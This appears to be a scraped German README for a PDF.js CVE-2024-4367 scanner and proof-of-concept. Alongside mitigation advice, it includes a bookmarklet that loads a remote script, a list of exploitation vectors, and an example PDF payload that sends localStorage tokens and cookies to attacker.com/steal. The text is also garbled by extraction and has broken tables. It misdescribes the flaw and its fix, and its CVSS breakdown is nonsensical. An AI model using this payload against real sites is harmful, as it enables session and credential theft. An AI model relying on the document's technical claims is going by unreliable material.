
SCAN ENDE POC CVE-2024-4367
⚠️ KRITISCHES SICHERHEITSTOOL | Erkennt CVE-2024-4367 (CVSS 9.8) - Sicherheitslücke zur Remote-Codeausführung in PDF.js
Funktioniert auf JEDER Website - Keine Konfiguration erforderlich
CVE-2024-4367 ist eine kritische Schwachstelle in PDF.js (Versionen < 4.2.67), die über manipulierte PDF-Dateien die Ausführung beliebigen JavaScript-Codes ermöglicht. Dieser Scanner erkennt automatisch anfällige PDF.js-Instanzen auf JEDER Website.
PDF.js weist einen Fehler auf, bei dem in PDF-Dateien eingebettetes JavaScript ohne ordnungsgemäßes Sandboxing ausgeführt wird. Angreifer können dadurch:
F12, um die DevTools zu öffnenEnterErstelle ein Lesezeichen mit dieser URL:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Open any website and run the script
<embed>-Elemente<object>-Datentags?pdf=, ?file=, ?src=).pdf akzeptieren┌─────────────────────────────────────────────────────────────┐
│ SCAN PROCESS FLOW │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 LOAD SCRIPTS │
│ ├─ External scripts (all <script src="">) │
│ └─ Inline scripts (all <script> tags) │
│ │
│ 2. 🔍 EXTRACT PDF.JS VERSION │
│ ├─ Pattern matching in code │
│ ├─ Package.json detection │
│ └─ Node_modules path parsing │
│ │
│ 3. 🎯 IDENTIFY VULNERABILITY │
│ ├─ version < 4.2.67 ? → VULNERABLE │
│ └─ version = 2.16.105 ? → VULNERABLE │
│ │
│ 4. 🖼️ LOCATE VIEWERS │
│ ├─ DOM element scanning │
│ └─ Attribute detection │
│ │
│ 5. ⚡ GENERATE POC │
│ ├─ Create test PDF │
│ └─ Provide download link │
│ │
│ 6. 📊 DISPLAY RESULTS │
│ ├─ Visual overlay │
│ ├─ Console report │
│ └─ Global variable storage │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - UNIVERSAL PDF.js SCANNER ║
║ Detects vulnerable PDF.js versions and potential exploitation ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 PHASE 1: Scanning JavaScript Bundles for PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Found 42 external scripts
[+] Found 12 inline scripts
[1/42] Analyzing: vendor.bundle.js
→ PDF.js indicator found: pdfjs-dist
✅ PDF.js version found: 2.16.105
🚨 VULNERABLE to CVE-2024-4367!
🎯 PHASE 4: Identifying Exploitation Vectors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ URL parameter accepts PDF: file=/documents/report.pdf
⚠️ PDF upload form found
█████████████████████████████████████████████████████████████████████████████████
FINAL SCAN REPORT
█████████████████████████████████████████████████████████████████████████████████
🚨 CRITICAL VULNERABILITY CONFIRMED!
CVE: CVE-2024-4367
CVSS: 9.8 (CRITICAL)
Impact: Arbitrary JavaScript Execution
┌─────────────────────────────────────────────────────────────┐
│ CVE-2024-4367 SCAN RESULTS │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 Target: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 Vulnerable: YES │
│ 📄 Viewers: 3 │
│ ⚡ Vectors: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 CRITICAL - Upgrade Required │
└─────────────────────────────────────────────────────────────┘
# For Node.js projects
npm install pdfjs-dist@latest
# For CDN usage
# Update to version 4.2.67 or higher
// Set this before loading PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// Validate PDF files before rendering
function validatePDF(file) {
// Check magic bytes
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('Invalid PDF file');
}
// Scan for JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('PDF contains JavaScript');
}
}
URL-Parameter
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
Datei-Uploads
<input type="file" accept=".pdf">
Eingebettete Viewer
<embed src="malicious.pdf">
API-Endpunkte
/api/documents/123/download
/api/report/pdf
// PDF embedded JavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
Scanner installieren
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
Scanner ausführen
# Open the target website
# Paste the scanner in console
# Or use the bookmarklet
Ergebnisse analysieren
POC-PDF herunterladen (falls anfällig)
Fixes anwenden
| Szenario | Ergebnis |
|---|---|
| PDF.js 2.16.105 | 🔴 KRITISCH |
| PDF.js 3.x | 🔴 ANFÄLLIG |
| PDF.js 4.0.x | 🔴 ANFÄLLIG |
| PDF.js 4.2.67+ |
// Vulnerable versions
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITICAL' },
{ version: '3.x.x', status: 'CRITICAL' },
{ version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];
// Safe version
const SAFE_VERSION = '4.2.67';
| Datum | Ereignis |
|---|---|
| 2024-04-23 | Schwachstelle entdeckt |
| 2024-04-24 | CVE-2024-4367 zugewiesen |
| 2024-04-25 |
WICHTIG: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt.
- ✅ Verwende es auf deinen eigenen Websites
- ✅ Verwende es nur mit ausdrücklicher Genehmigung
- ✅ Verwende es für Sicherheitsforschung
- ❌ Verwende es nicht auf nicht autorisierten Systemen
- ❌ Verwende es nicht für böswillige Zwecke
Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Beiträge sind willkommen! Bitte:
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Make your changes
# Test on multiple websites
# Submit PR
Dieses Projekt ist unter der MIT-Lizenz lizenziert - siehe die Datei LICENSE für Details.
Wenn du dieses Tool nützlich findest:
🛡️ Bleib sicher. Teste früh. Teste oft.
Mit ❤️ von der Sicherheits-Community erstellt
Problem melden • Auf GitHub mit Stern markieren • Dokumentation lesen
| Lösung | Schwierigkeit | Wirksamkeit |
|---|
| PDF.js aktualisieren | Einfach | ✅ Vollständige Behebung |
| JS in PDF.js deaktivieren | Einfach | ✅ Vollständige Behebung |
| CSP-Implementierung | Mittel | ✅ Gut |
| Serverseitige Validierung | Mittel | ✅ Gut |
| Sandbox-Rendering | Schwer | ✅ Hervorragend |
| ✅ SICHER |
| Kein PDF.js | ℹ️ SICHER |
| Patch veröffentlicht (4.2.67) |
| 2024-04-26 | Öffentliche Offenlegung |
| 2024-05-01 | Exploit-Versuche beobachtet |
| Komponente | Score |
|---|
| Angriffsvektor | Netzwerk (9.8) |
| Angriffskomplexität | Niedrig (9.8) |
| Erforderliche Privilegien | Keine (9.8) |
| Benutzerinteraktion | Erforderlich (8.8) |
| Auswirkungsbereich | Geändert (9.1) |
| Vertraulichkeit | Hoch (9.8) |
| Integrität | Hoch (9.8) |
| Verfügbarkeit | Hoch (9.8) |
| Gesamt | 9.8 (KRITISCH) |